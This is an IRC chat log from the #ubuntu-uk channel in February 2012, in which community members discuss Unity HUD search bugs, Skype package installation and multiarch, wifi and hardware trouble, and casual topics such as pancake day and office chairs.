<czajkowski> davmor2: oh will do later, got a new card for phone as was running out of space
<davmor2> MooDoo: I think you'll find she has two hands so that would be 4 fingers :P
<MooDoo> davmor2: you're worth it :D
<s-fox> MooDoo,  12 months to learn that seems a little bit of a waste of time ;)
<davmor2> s-fox: well czajkowski could of taught you in like two seconds so yes
<MooDoo> s-fox: he's worth it lol
<s-fox> wait back up... someone actually reads whatever dribble i put on twitter? Poor souls...
<s-fox> lol
<MooDoo> s-fox: which crazy fool is that? ;)
<s-fox> What is new with you davmor2  ?
<davmor2> s-fox: It just tickled me when I read it :)
<gord> is it just me that rhythmbox hates?
<gord> i can't get it to play more than a couple of tracks before crashing
<MooDoo> gord it's you :D
<awilkins> The sight of Lansley being accosted by little old ladies outside No 10 has warmed my cockles
<s-fox> davmor2,  A story exists that my great uncle was killed in ww2 during an air raid by british anti-aircraft fire. The death certificate should put some light on the situation.
<ali1234> hud is slow :(
<s-fox> gord Open rhytmbox from terminal and post errors when it crashes
<ali1234> press alt, wait, think "i guess hud isn't in the release yet", wait some more, hud appears
<AlanBell> ali1234: the thing to do is attempt something else that requires the alt key, then it leaps into action
<ali1234> anything you type while waiting also ends up in the hud, when it finally does appear
<AlanBell> gord: would it be a problem to strip spaces from the hud string?
<ali1234> for what purpose?
<AlanBell> to stop it taking options away when you press space
<ali1234> for example?
<ali1234> if you press escape it gets rid of the hud. unless you've typed something, then it clears the input field and also moves it to whichever screen the mouse is on
<gord> things that are not a bug tracker: #ubuntu-uk ;)
<AlanBell> in nautilus if you type "new" it shows a bunch of options with "new" in them. Type space and they all go away
<gord> AlanBell, i'd be against doing that, you need to be talking to ted on the backend to make sure the fuzzy matching is less space aware
<AlanBell> just terminating spaces
<AlanBell> so "new " becomes "new"
<AlanBell> if you carry on typing "new ta" then the "new tab" option comes back, but it is most disconcerting when it goes away at "new "
<ahayzen> AlanBell: It needs to strip whitespace?
<ali1234> it's not just that
<ali1234> try terminal and "new profile"
<ali1234> it's the top hit for "new", disappears at "new " and doesn't reappear until "new pro"
<AlanBell> ahayzen: no, it needs to trim the string of ending whitespace
<ahayzen> AlanBell: Yeah thats probably best :)
<ali1234> the top hit for "new pr" doesn't even have either of those words in it
<AlanBell> any search for "$foo " will return anything not containing "$foo"
<ali1234> AlanBell: are you reporting this bug, because if not i will
<AlanBell> Bug #937020
<lubotu3> Launchpad bug 937020 in unity (Ubuntu) "hud searches should strip() the search string" [Undecided,New] https://launchpad.net/bugs/937020
<AlanBell> the fuzzy matching is not good for people who are not fuzzy
<ali1234> ok. i'll make a separate bug about the fuzzyness
<ali1234> ah i think i know what's happening
<ali1234> can you retry but type "file new "
<ali1234> i think there is some biasing that makes it expect the first word to be the top level menu name
<popey> i also get unicode squares in my hud sometimes
<popey> like if you press ctrl+e inside hud you get 0005
<AlanBell> ali1234: "file new " is similar to "new " it takes options away
<ali1234> yep same here :(
<AlanBell> and yeah, I get the unicode things for ctrl+letters
<ali1234> except for me on "file new pr" gives me what i actually want
<ali1234> also, have you noticed that if you type the options *exactly* as they are written underneath, it *never* matches
<ali1234> ie "file > new profile" never matches even though that is exactly what is written
<AlanBell> how funny
<ali1234> right, i;m not going to make a new bug because it's clearly all related
<AlanBell> I grouped up a heap of "what on earth is HUD doing???" kind of bugs when it first came out as bug 921068
<lubotu3> Launchpad bug 921068 in Application Menu Indicator "HUD search results for full words are not matching correctly" [Medium,Fix released] https://launchpad.net/bugs/921068
<AlanBell> that is basically fixed, as long as you don't press space
<ali1234> yeah, now it is biasing greatly in favour of words
<ali1234> ok how about this:
<ali1234> it is biased to find exact words
<ali1234> and it is considering "new profile" to be a "word"
<ali1234> but then it split the input on spaces
<ali1234> so "new" matches "new profile"
<ali1234> but then it doesn't know what to do with the "pr" part so it just gives up and does the crazy fuzzy search
<AlanBell> it is because profile is a long word
<AlanBell> it is about the "distance" from what was typed to what might have been typed
<AlanBell> and adding "ofile" is a bigger distance than some other options
<ali1234> you can see from the parts of the word it highlights that something is going horribly wrong
<AlanBell> "new pr" to "normal" is in some way a shorter distance
<ali1234> nope, you're wrong
<ali1234> this is a tokenization problem
<ali1234> try this
<AlanBell> quite probably
<ali1234> "new profile" matches "file > *new* profile" and "*edit* > *profile* preferences"
<ali1234> * indicates the highlighting/ bold text
<ali1234> "new profile" should be an exact match of "new profile"
<ali1234> if they were both tokenized by splitting on space, it would be a match on both individual words
<ali1234> if they were both considered to be a single string, it would also be an exact match
<ali1234> the only way this can happen is if one is being taken as ["new", "profile"] and the other one is being treated as ["new profile"]
<AlanBell> there is also hud-cli for working out what on earth it is doing
<ali1234> so my guess as to what has happened:
<ali1234> you reported "words aren't matching properly" so someone made a patch that does input.split(' ')
<ali1234> but doesn't also split the menu texts in the same way
<AlanBell> nope, it was a more amusing fix than that
<AlanBell> http://bazaar.launchpad.net/~ted/indicator-appmenu/hud/revision/172
<ali1234> if i enter "new profile..." it finds "report a problem..."
<ali1234> i think i actually am going to make a separate bug for this
<ali1234> bug 937046
<lubotu3> Launchpad bug 937046 in unity (Ubuntu) "hud search algorithm gives crazy results" [Undecided,New] https://launchpad.net/bugs/937046
<gord> wooo just noticed its pancake day tomorrow
<bigcalm> YAy
<bigcalm> Except, we're out dog walking and it'll be too late for them when we get home
<bigcalm> I recall this happening last year as well
<gord> too late?
<gord> it takes about two minutes to make pancakes
 * czajkowski kicks HUD, nick focus from irc again and so help me IMMA GONNA...!
<ali1234> it's mercifully easy to disable it in ccsm
<awilkins> Esp if you buy the horrible pre-made batter mix in a plastic bottle
<bigcalm> gord: too late to eat them
<gord> you are mistaken
<gord> pancakes are an all day meal
<bigcalm> Heh
 * awilkins likes pancakes with grilled chicken, cheese sauce, sweetcorn & spinach filling
<awilkins> Now I'm hungry
 * hamitron just has golden syrup with them
<gord> friend of mine had a genius idea once, we bought a "flump" http://www.sweetgreetingsshildon.co.uk/images/uploads/soft/barratt-flump.JPG - wrapped one up inside of a pancake. it was was the tastiest thing i have ever eaten, but i think it shaved years off my life.
 * awilkins broaches the emergency biscuit storage
<czajkowski> gord: ohh tasty
<czajkowski> but really nothing beats some butter lemon and sugar on a pancake
<Laney> cheese + chorizo + caramelised onions
<Laney> yesssssssssssssss
<popey> ooooooo
 * popey is making shredded chilli beef tonight
<Laney> i'd have that in a pancake
<hamitron> popey, that just sounds like you are too lazy to chew? :/
<czajkowski> oh nymmy crispy shreaded chillie beef is rather tasty
<popey> using left over beef from yesterday to make it
<hamitron> I tend to just soak mine in gravy
<hamitron> or have cold meat with chips
 * hamitron is Mr Boring
<gord> a caramel covered banana inside a pancake sounds nice, maybe i'll try that
<czajkowski> bananna fritted trinkle of syrup and vanialla ice cream
<czajkowski> *fritter
<davmor2> gord: decades I think you'll find
<hamitron> anyone giving up anything unusual this year?
<davmor2> gord: did you have a poppins restaurant by you?
<gord> davmor2, poppins? never heard of it
<davmor2> gord: they used to do the mary poppins pancake,  2 pancakes, 3 scopes of icecream at the overlap, banana sliced into the rounds of the pancake, squirty cream all around the outside and then chocolate sprinkles, strawberry and caramel sauces
<davmor2> gord: you could feel your arteries harden looking at it
<Pendulum> davmor2: that's a lot more than a spoon full of sugar
<davmor2> Pendulum: only a touch more
<gord> not mary poppins unless the waiter does a dick van dyke cockney accent
<davmor2> gord: http://www.topoftown.co.uk/poppins-cafe-restaurant/ not a great picture but you'll get the idea
<popey> gord: does the wifi in your x220 drop after a period of no activity?
<popey> mine is associated
<popey> but no traffic leaves the machine
<gord> popey, nope, though what do you mean by no activity?
<gord> i generally have irc running or something, so there is net activity
<popey> well, I have an IP
<popey> my laptop has been sat at the desktop, no apps open, other than dropbox and u1
<popey> and tomboy syncing now and then I guess
<popey> but not much
<gord> can't say my laptop has been in that kind of a state for any serious period of time, i'll have empathy or something running at the very least usually
<popey> i think i have a dud
<gord> are you sure it isn't like... a Finkpad?
<gord> from Toshuba?
<popey> âº
<popey> it did come from china
<popey> first thing I know when it's dropped is the dropbox icon goes grey
<gord> i like that handbrake has a little indicator now
<czajkowski> ohh I have fluff in the press
<czajkowski> that could be nice in pancaskes
<czajkowski> *pancakes
 * AlanBell wonders about czajkowski's bit of fluff
<czajkowski> posting now
<czajkowski> xhttps://twitter.com/#!/czajkowski/status/171641649204699136/photo/1
<AlanBell> what on earth is that?
<czajkowski> marshmallow
<Pendulum> I don't know about strawberry fluff
<czajkowski> gooey sticky marshmallow
<Pendulum> but the regular stuff could definitely be yummy on pancakes
<AlanBell> a jar of marshmallow? how does that work
<Pendulum> AlanBell: it's not formed and is spreadable
<AlanBell> melted or blended marshmallows?
<czajkowski> AlanBell: https://twitter.com/#!/czajkowski/status/171642049303543808/photo/1
<Pendulum> kinda blended
<Pendulum> slightly different ingredients
<DJones> I can see that stuff putting my wife in hospital as a minimum
<Pendulum> in the US kids have fluffernutters which are peanut butter & fluff sandwiches
<AlanBell> love the pictures of actual strawberries on the packaging
<Pendulum> yeah, I doubt there is any actual strawberry in it
<Pendulum> I don't do flavoured fluffs, just the plain stuff
<Pendulum> it's nommy on ice cream, too
<DJones> I saw that "Artificial flavour" at the top and thought thats no good for somebody with food colouring allergies
<AlanBell> is this something that one would find in a UK supermarket?
<Pendulum> probably not
<Pendulum> I've brought it to friends in the UK in the past
<Pendulum> although if there are any places that carry US "specialty" items, they might have it
<TheOpenSourcerer> You gotta love the Yanks. I remember a hotel proudly telling me it uses "Egg Beaters" at Breakfast. Egg Beaters being a Tetra Pack, pint of mixed egg-like substance which makes something resembling scrambled eggs.
<dwatkins> I guess there's less chance of salmonella from that...
<TheOpenSourcerer> Less chance of eating "real" egg too I guess. ;-)
<TheOpenSourcerer> I mean, how hard is to break a couple of eggs?
<dwatkins> you might get bits of shell in the pan, though... ;)
<TheOpenSourcerer> If you can't cook yeah. ;-)
<dwatkins> I make a point of buying Happy Eggs, their website is great - you can see they're very much free range.
<AlanBell> like Baldrick in the trenches. We are using egg substitute today. . .
<hamitron> dwatkins, covered in crap? ;/
<TheOpenSourcerer> I dread to think of what that may be
<dwatkins> hamitron: heh, I wouldn't be too concerned about that, but they're not
<hamitron> oh I aren't
<Pendulum> TheOpenSourcerer: it's supposedly lower cholesterol/healthier
<hamitron> :)
<AlanBell> http://www.youtube.com/watch?v=EEYyjVuk5M8
<Pendulum> but mostly I think egg beaters are gross
<TheOpenSourcerer> Pendulum: If you eat *lots* of eggs yes. Like the chap next to me who wanted 8 eggs and steak for breakfast!
<TheOpenSourcerer> Jeez.
<popey> AlanBell: there is an http://www.americansweets.co.uk/
<popey> AlanBell: they might have that fluff stuff
<popey> they're in Aldershot
<popey> school friends parent runs it
<Pendulum> I think my uni had regular eggs that were provided to them by the food service company in cartons
<Pendulum> which is possibly worse than egg beaters since I suspect that sort of thing would be a breeding ground for salmonella
<Pendulum> luckily, I don't like eggs
<TheOpenSourcerer> Only in America could you call a sweetie for kids "Hostess Twinkies"
<AlanBell> well there it is at Â£2.30 per jar
<directhex> isn't hostess bankrupt again?
<davmor2> gord: hey dude why would unity die if I run an ldtp test script?
<Pendulum> directhex: yes
<TheOpenSourcerer> I seem to have rather lost the will to keep writing a project specification right now. Think I will go and annoy the family ;-)
<gord> davmor2, no idea, your gonna want to get a backtrace
<directhex> i bought a phone today.
<bigcalm> Biatone?
<davmor2> gord: got one in the bug I wrote,  well I'm assuming there is it was caught by apport
<Pendulum> popey: you know, you can get things to bribe czajkowski from that shop. Just in case you ever need to ;)
<popey> hah
<popey> oh golly they sell it
<czajkowski> I got the fluff stuff in the cyber candy shop off covent garden
<czajkowski> has ODDLES of choice
<czajkowski> tons of taffey cool aide stuff
<czajkowski> jolly ranchers all the weid M&Ms
<czajkowski> popey: if you're up up wednesday I can give you the tube of fluff I've had my fill of the stuff already
<daubers> Umm....
<popey> lol
<popey> oi daubers ! down boy!
<daubers> Did I walk into the wrong conversation again?
<Pendulum> I am amused that they have a picture of Altoids on the American gum & mints section since Altoids were originally British
<popey> Welsh âº
<popey> iirc
<Pendulum> London originally, but then produced in Wales for most of the time they were produced in the UK
<popey> ahh
<popey> I'm not allowed to go to that shop âº
<Pendulum> haha
<ali1234> because there are certain types of altoids that you can't buy in this country
 * popey closes the tab
<davmor2> Pendulum: I had to re-read that I saw your comment to popey as "you can get things to bride czajkowski from that shop" :D
<ali1234> which people actually go to that website to buy
<ali1234> specifically cinnamon and wintergreen
<popey> i love the cinnamon ones
<ali1234> wintergreen tastes like TCP :)
<popey> nom
<Pendulum> davmor2: well, I think she might marry taffy if she could
<czajkowski> ohhhb
<popey> TCP is a product name I never really see unless someone says "it tastes like TCP"
<czajkowski> Pendulum: knows my weakness
<czajkowski> http://120buntu.com/
 * daubers wonders what UDP tastes like
<MartijnVdS> paranoia
<daubers> Do you ocassionally miss the taste?
<Pendulum> czajkowski: don't you love the US http://www.americansweets.co.uk/hostess-green-st-patricks-day-sno-balls-pack-of-2-cakes-dated-090312-14349-p.asp ;-)
<czajkowski> ewwwwww
<CTtechguy> Pendulum: I have to get me some of those :)
<ali1234> more like snot balls given the colour
<AlanBell> czajkowski: what is the plan for Sunday?
<czajkowski> I've no idea. you make it I'll be ther e:)
<AlanBell> ok, I can pick you up in Farnham or Reading, but not central London :)
<czajkowski> Pendulum: popey https://twitter.com/#!/czajkowski/status/171651727244787713/photo/1
<Pendulum> czajkowski: we are hitting the time where the supermarkets turn green. There are things where I can cope with it, but others just don't work.
<czajkowski> was gonna make my way to reading
<AlanBell> probably best
<Pendulum> czajkowski: how many of those are from FL?
<czajkowski> the reece large cakes and the bag with tootsies in them
 * popey files bug 937118
<lubotu3> Launchpad bug 937118 in linux (Ubuntu) "Wireless stops passing packets" [Undecided,New] https://launchpad.net/bugs/937118
<bigcalm> That'll hinder usage
<ali1234> popey: i thought yo decided it's a bad motherboard?
<popey> can't tell if this is related or not
<popey> if I can boot past the "cant find disk" error, the machine runs fine
<ali1234> that doesn't really mean much if it is an intermittent hardware fault
<popey> i did see someone else complaining of similar wifi issue
 * brobostigon wonders if his people see him like sheldon in big bang theory, and cringes,
<ali1234> someone confirmed it anyway o_O
<popey> hah
<popey> oh, a kernel guy
<popey> so yeah, i trust him âº
<brobostigon> if any people.
<brobostigon> *
<brobostigon> eeek
<popey> I have never met you brobostigon so hard to say âº
<brobostigon> agreed popey
<brobostigon> i just get the feeling sometimes.
<popey> he is an exaggerated character
<smittix> Is anyone running Ubuntu pre 11.10?
<brobostigon> popey: an exaggerated autie, yes.
<brobostigon> with some compulsive aspects.
<brobostigon> anyways i confirmed http://dev.haiku-os.org/ticket/3933 that bug, and upgraded my bios, and it works now.
<smittix> can anyone running a laptop pastebin me the out put of synclient?
<czajkowski> bah still no skype
<AlanBell> czajkowski: how are you installing it?
<czajkowski> apt-get install
<AlanBell> err, but it won't be there
<czajkowski> yes figured that out
<AlanBell> pro tip > http://archive.canonical.com/pool/partner/s/skype/skype_2.2.0.35-0natty1_amd64.deb
<AlanBell> are you on 64bit?
<czajkowski> AlanBell: aye
<AlanBell> ok, that .deb file should be installable
 * AlanBell is running it
<czajkowski> I have this bug  https://bugs.launchpad.net/ubuntu/+source/software-center/+bug/827615
<lubotu3> Launchpad bug 827615 in software-center (Ubuntu) "software-center crashed with TypeError in show_available_packages(): this constructor takes no arguments" [Medium,Confirmed]
<czajkowski> so I can now open the se center and vie witems but clicking on the .deb file and saying open with the sw center wont work
<czajkowski> am jinxed with odd bugs
<popey> czajkowski: wget http://archive.canonical.com/pool/partner/s/skype/skype_2.2.0.35-0natty1_amd64.deb
<popey> czajkowski: sudo dpkg -i skype_2.2.0.35-0natty1_amd64.deb
<TheOpenSourcerer> Good old command line eh?
<TheOpenSourcerer> Who need sthis new fangled GUI of which we all speak
<ali1234> remember when we had gnome and deb files opened in gdebi?
<ali1234> those were the days... when stuff actually worked
<czajkowski> huzzah
<czajkowski> bah errors when it get to the sudo part
<czajkowski> we eere doing so well till there
<czajkowski> thanks popey
<TheOpenSourcerer> Oh wow - A single atom transistor: http://arstechnica.com/science/news/2012/02/we-can-do-no-moore-a-transistor-from-single-atom.ars
<popey> czajkowski: what errors, i cant see your screen from here
<popey> ali1234: i used to quite like gdebi
<popey> czajkowski: its probably missing some dependancy which would be fixed by "sudo apt-get -f install"
<czajkowski> popey: sorry the other fella came in  http://pastebin.ubuntu.com/850343/
<davmor2> czajkowski: see pm
<czajkowski> ohhh
<ali1234> er... the amd64 is actually 32 bit?
<ali1234> because natty didn't have multiarch?
<popey> eww
 * popey pokes AlanBell 
<ali1234> so it turns out there was never a 64 bit skype
<popey> yeah
<ali1234> nice one
<popey> czajkowski: just removed the package again, sudo dpkg -r skype
<ali1234> now go and install the :i386 package from oneiric which will work with multiarch and not make your system explode
<popey> maybe also just get skype from their website âº
<ali1234> skype from oneiric works fine on precise
<czajkowski> thans folks
<ali1234> also
<ali1234> if you ever get problems with debs that won't install
<popey> drown a kitten?
<ali1234> ar -x foo.deb gives you two tar files
<ali1234> the files are instide the one that isn't called control.tar.gz
<ali1234> that's just if you don't want to force it to install though
<AlanBell> skype from natty works on precise, but I guess that was the ugly heap of dependencies I was complaining about the other night
<ali1234> yeah it will work
<ali1234> it just won't install cleanly
<ali1234> and isn't 64 bit anyway
<ali1234> and you would in general be much better with the one from oneiric
<AlanBell> yeah, so i386 packages will install?
<ali1234> yes, because of multiarch
<ali1234> the natty i386 and amd64 packages have identical contents: 32 bit skype
<AlanBell> yeah, I figured that bit out
<ali1234> multiarch was specifically designed to remove this redundancy
<ali1234> by letting you install the i386 package on either arch (or any other if you want)
<ali1234> there is one difference between the natty packages: the 32 bit one depends on normal libs, the 64 bit one depends on the huge and horrid ia32libs package for 64 bit
<AlanBell> it does
 * AlanBell will be de-libbing later
<AlanBell> so multiarch is nice and all, but how would I find the 32bit package if I am pointing at 64bit repos?
<AlanBell> so in the partner archive canonical didn't put a 64bit package in for oneiric
<ali1234> you put :i386 on the end of the package name
<AlanBell> so oneiric users would not know it was there unless they go hunting for it
<ali1234> eg sudo apt-get install skype:i386
<ali1234> well if they search for skype in software center, or the dash, or synaptic, it will show up
<AlanBell> gosh, didn't know that
<ali1234> i'm not sure how exactly that works, but it does work
<AlanBell> so it pulls the packages list from both repos?
<ali1234> not sure
<ali1234> but... yeah... it just works in the end
<ali1234> i suspect that some stuff is duplicated
<ali1234> otherwise i'd see lots of :arm stuff as well
<diplo> evening  all
<popey> Hello!
 * AlanBell ponders hats http://www.hatsandcaps.co.uk/Bailey-Hats-Crushable-Wynn-Trilby--Black-P138899/
<Azelphur> Does anyone have any good suggestions on how I could upload a /HUGE/ amount of data to my server?
<Azelphur> Talking 200+GB
<AlanBell> Azelphur: put it on a USB HDD, go to server, plug in HDD
<Azelphur> AlanBell: put it on a USB HDD...buy a plane ticket... >.>
<AlanBell> actually Amazon do offer a plane based service
<diplo> Azelphur, I uploaded 50+gb to my server using rsync but throttled it down
<diplo> and uploaded over a week or so
<diplo> Otherwise AlanBell's option is honestly the best, most hosts offer the service
<AlanBell> http://aws.amazon.com/importexport/#supported_devices
<Azelphur> diplo: fun :P
<diplo> Or go to a uni and use a janet line to sync with it quickly :P
<popey> Azelphur: what's your uplink speed?
<Azelphur> popey: It maxes out at about 100KB/sec, but anything above 30KB/sec makes the connection totally unusable for anything else
<Azelphur> popey: we're talking about rendering super HD minecraft dynmaps :)
<Guest70289> how do i get ubuntu support?
<Azelphur> !ask | Guest
<lubotu3> Guest: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-) See also !patience
<Azelphur> popey: one of my guys just had an interesting idea, the old server is just sitting around idle right now, render map on old server by beating the crap out of the CPU, then transfer it over, only concern now is disk size :)
<Guest70289> i am new to ubuntu and currently have 11.10 on my macbook (early 2009) and cant get any sound through my headphones or any display through my tv through hdmi, any help appreciated
<Azelphur> Guest70289: sound works through the speakers but not headphones?
<Guest70289> yes
<Azelphur> is it a macbook 2.1?
<Guest70289> not sure of the top of my head
<Azelphur> http://ubuntuforums.org/showthread.php?t=984949 this thread has a "interesting" solution
<Guest70289> still no luck
<Guest70289> how do i get my speakers to work?
<Azelphur> Guest70289: really not sure, maybe popey will know he uses macbooks iirc
<Guest70289> who is poppy
<Guest70289> popey*
<Azelphur> Guest70289: he's in here, he's probably afk right now so hang about, maybe he'll know when he gets back or someone else will have some ideas :)
<Guest70289> ok thanks
<popey> I gave up with my macbook and bought a computer that (for the most part) works
<Azelphur> encouraging words from popey there :D
<Guest70289> do you not know why my speaks & external monitor wont work?
<Azelphur> Guest70289: not really, most Ubuntu users arn't the type to buy macbooks, you could try the forums though
<Guest70289> macbook 1 - ubuntu 0
<Guest70289> ok will try them
<Azelphur> Guest70289: I'm not sure not releasing the specs for your hardware so that it can be supported anywhere but your OS is a point for the macbook, but each to his own
<ubuntuuk-planet> [Alistair McKinlay] We need to fix Linux - http://www.10people.co.uk/index.php/2012/02/we-need-to-fix-linux/
<jacobw> normal people using linux :( how annoying
<zleap> lol
<Azelphur> jacobw: Indeed, normal people totally like to automatically mount remote file servers at boot.
<Azelphur> I notice how all the things in that list are extremely difficult if not impossible to pull of on Windows. :)
<jacobw> linux is for people who see than maintaining an fstab is actually easier than 'mapping drives'
<zleap> linux is for people who want to plug in a usb stick and not worry about drive letters changing causing games to stop working
<jacobw> lol
<DJones> This is a good idea http://www.bbc.co.uk/news/technology-17105225 Wonder if there'll be anything similar for ubuntu when it makes it properly onto tablets
<AlanBell> DJones: I was thinking of doing something with steno http://plover.stenoknight.com/
<AlanBell> braille is just a different chording layout
<AlanBell> well actually braille is a lot simpler as the words are the same and it is just chording letters
<AlanBell> looks like touchscreen steno isn't such a good idea though
<DJones> Looking at steno it looks like it has quite a few keys (more than the 6 on that bbc link anyway) I think that would be a problem for a somebody who was blind
<AlanBell> yeah, it would
<DJones> I like the idea behind the georgia tech app, only 6 buttons would probably make it quite easy to use, top, middle, bottom, left/right side of the screen
<AlanBell> you need 8 for the full braille alphabet
<DJones> Its a long time since I've written anything using braile
<DJones> Free & open source app, so I guess potential for it to be developed onto linux based tablets
<zleap> sounds good
<AlanBell> http://people.ubuntu.com/~alanbell/LibertusBraille.ttf
<zleap> i remember suse had support for braile display years ago
<zleap> braille
 * mattt is in the market for a new chair
<mattt> any recommendations?
<AlanBell> aeron
<mattt> hehe
<popey> +1
<mattt> i use a mirra at work, how does that compare to the aeron?
<AlanBell> http://www.kingsofficefurniture.co.uk/special_offers.htm
<mattt> AlanBell: am i blind ... what's the cost on there?
<mattt> oh, n/m
<DJones> mattt: http://www.amazon.co.uk/Aeron-Executive-Task-Chair-Size/dp/B0021B4BJW/ref=pd_sim_sbs_kh_2
<AlanBell> mattt: I called them the other day and they had red ones for Â£225 +VAT
<mattt> yeah, i've seen them on ebay for around that
<mattt> AlanBell: let's go in together, bring price down :)
<mattt> anyone else?
<DJones> I have to say, that looks like a chair that should racing
<mattt> DJones: sounds like you need a 'new' aeron :D
<DJones> mattt: I prefer my reclining couch :)
<AlanBell> when we get an office I will be kitting it out with aeron chairs
<mattt> it's well worth it
<AlanBell> the brand new price is a bit scary
<AlanBell> but the mesh doesn't collapse like cushion chairs so second hand ones in good nick should be fine
<mattt> yeah, let the city buy 'em new, and we can buy their old stuff :)
<AlanBell> they just come from companies that have gone bust because they spent too much money on chairs
<mattt> AlanBell: anyway, if you're looking at buying in the next few weeks, let me know :)
<AlanBell> I think the stock is in southampton
<mattt> cheaper if you buy more tho
<directhex> grr, i can't get this damn thing to behave
<AlanBell> might be up for buying a couple
<AlanBell> see what TheOpenSourcerer says when he gets back from the pub
<mattt> sounds good
<popey> AlanBell: i might too
<mattt> i'm heading out, but if you guys are seriously ordering let me know
<mattt> i'm in reading, so pretty close to where you're at
<mattt> anyway, afk for now
<ali1234> i need to build a fake mouse
<AlanBell> the type that might be chased by a fake cat?
<ali1234> i've got a weird bug with precise. keep moving the mouse left for a long time and eventually the pointer goes right while also randomly going up and down
<ali1234> so it zig zags to the right basically
<ali1234> i'm fairly sure it's somehow related to the failure of the main launcher to reveal
<ali1234> where main = the leftmost one
<ali1234> try it. just keep pushing against the left edge
#ubuntu-uk 2012-02-21
<penguin42> ali1234: Wacky - mouse or touchpad?
<hamitron> ali1234, sounds like my laser mouse when it gets a hair in it ;)
<ali1234> mouse
<Azelphur> scumbag ebuyer, buy PC off them, they send you mail next day "We miss you, please buy more"
<hamitron> haha
<ubuntuuk-planet> [Jono Bacon] Ubuntu Accomplishments Demo - http://www.jonobacon.org/2012/02/21/ubuntu-accomplishments-demo/
<TheOpenSourcerer> morning
<czajkowski> Aloha
<AlanBell> morning
<mattt> hey
<daubers> Morning
<MooDoo> morning all
<diplo> morning all
<MooDoo> morning
<BigRedS> good morning!
<MooDoo> morning
<popey> morning
<bigcalm> Good morning everybody :)
<MooDoo> morning popey bigcalm
<iclebyte> where could I grab the source code for the version of 'login' installed on ubuntu 10.04lts ?
<czajkowski> PANCAKE day!
<MooDoo> yay o/
 * iclebyte had no idea it was pancake day
<BigRedS> iclebyte: apt-get source <the package that provides it>
<BigRedS> my favourite way to find the package that provides it is to do
<iclebyte> just worked that out out =)
<BigRedS> apt-file search `which <binary>`
<BigRedS> so apt-file search `which login`
 * iclebyte loves backticks =)
<popey> or if it's installed already "dpkg -S `which <binary>`"
<iclebyte> unfortunately we use a program which does telnet logins to routers and it's hard coded to look for "hostname.domain.net login:" - we just rebuilt the box it hops through to 10.04LTS and the login prompt is now "login:" which has broken everything, so from what I can see online the only way to change this is to recompile login.
<TheAshMan> Hi, hopefully someone can help me, I'm install a PHP PECL package and it's failing claiming that it can't find evp.h from OpenSSL. "locate evp.h" returns /usr/include/openssl/evp.h. I try specifying "/usr/include/openssl" as the openssl dir but it still complains about that file..
<AlanBell> so you have libssl-dev installed?
<TheAshMan> Yup.
<TheAshMan> AlanBell: Apparently, anyways :p
<oimon> anyone have problems unlocking the screensaver in gnome-shell?
<oimon> often the screen does not reresh, and i'm typing blind, or worse...
<JamesTait> Happy Pancake Day! :D
<AlanBell> TheAshMan: ok, I am out of suggestions, if you have that, it should work :)
<oimon> bug 848562
<lubotu3> Launchpad bug 848562 in gnome-screensaver (Ubuntu) "gnome-shell lock screen does not display password prompt" [Low,Confirmed] https://launchpad.net/bugs/848562
<AlanBell> !info python-werkzeug 10.04
<lubotu3> '10.04' is not a valid distribution: hardy, hardy-backports, hardy-proposed, kubuntu-backports, kubuntu-experimental, kubuntu-updates, lucid, lucid-backports, lucid-proposed, maverick, maverick-backports, maverick-proposed, medibuntu, natty, natty-backports, natty-proposed, oneiric, oneiric-backports, oneiric-proposed, partner, precise, precise-backports, precise-proposed, stable, testing, unstable
<AlanBell> !info python-werkzeug lucid
<lubotu3> python-werkzeug (source: python-werkzeug): collection of utilities for WSGI applications. In component universe, is optional. Version 0.5.1-1 (lucid), package size 1030 kB, installed size 3256 kB
<TheAshMan> AlanBell: Thanks anyways. I'm in the same situation. Out of ideas... :/
<hoover> Morning all
<ubuntuuk-planet> [Laura Czajkowski] New year got off to a good start - http://www.lczajkowski.com/2012/02/21/new-year-got-off-to-a-good-start/
<hoover> Is my ubuntu uk podcast feed dead or are folks simply taking a break?
<AlanBell> they are on a break
 * popey points hoover at http://podcast.ubuntu-uk.org/calendar/
<zleap> good morning
<popey> lo
<zleap> why does http://www.raspberrypi.org/ keep getting databse errors
<AlanBell> cue czajkowski spending lots of time explaining to Americans that chuffed means "pleased"
<AlanBell> zleap: because it is wordpress with a mysql back end and they are running out of connections to it
<brobostigon> good morning everyone,
<zleap> ah
<zleap> as in too many people trying to view website
<popey> yes
<AlanBell> blogs do that if you hammer them hard enough and don't tweak the settings enough
<MooDoo> morning brobostigon
<zleap> they are gonna hvave big problems at launch then eh
 * popey wishes we had the time/people/infrastructure to make an ubuntu flavour for the rspberry pi
<brobostigon> morning MooDoo
<popey> not necessarily zleap
<popey> they are using 3rd parties to distribute AIUI
<zleap> ah
<zleap> AIUI
<zleap> as i understabnd it ??
<AlanBell> zleap: the shop is not served up by wordpress
<popey> yes
<popey> due out "soon" isnt it?
<zleap> by the end of the month
<AlanBell> yeah, in a week or so
<TheOpenSourcerer> Careful popey
<TheOpenSourcerer> Cyanogen kill kittens when asked for ETAs
<zleap> well that seems to be the plan anyway
<popey> heh
<diplo> <Hourd> is it out yet?
<diplo> <PiBot> Hourd: Any minute now...
<diplo> :D
<czajkowski> AlanBell: most of the Americans who read my blog are used to my sayings :)
<diplo> In there channel
<diplo> They got fed up answering
<popey> diplo: whats their channel?
<popey> found it :D
<diplo> #raspberrypi
<diplo> :)
<popey> hehe, loads of familiar nicks in there
<diplo> Lot's of very in depth discussions go on in there, way way way over my head
<diplo> Also lot's of bitching about blobs etc
<diplo> And access to gpu etc
<popey> fancy that
<diplo> I scour over it, rarely get involved
<zleap> is that on freenode ?
<popey> try it and see zleap âº
<zleap> yeah seems like it
<zleap> hey right click add to favorites makes it mujch easier to add to auto join list :D
<zleap> i take it they will really have to ramp up production the demand is high for this
<popey> i expect so
<zleap> http://www.bbc.co.uk/news/uk-politics-17100224  met office needs more supercomputers
<popey> directhex: you have a leccy car don't you? prius?
<directhex> popey, i wouldn't call it an electric car really, but yes
<directhex> more like a petrol with KERS
<BigRedS> they're downright scary when they pull away on leccy
<directhex> hummmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
<BigRedS> I always think of it as like some hunter killer submarine but on land
<BigRedS> silently maneuvering
<iclebyte> is it possible to lock down telnet to only allow specific users to login?
<popey> directhex: how you enjoying it?
 * popey is considering replacing a car with something nmore fuel efficient
<zleap> pushbike
<directhex> popey, well, it's faster than any of my previous cars, and it's a big comfortable family-size car that gets ~50mpg
<BigRedS> motorbike
<directhex> depending on your choice of tyre
<directhex> and types of route driven
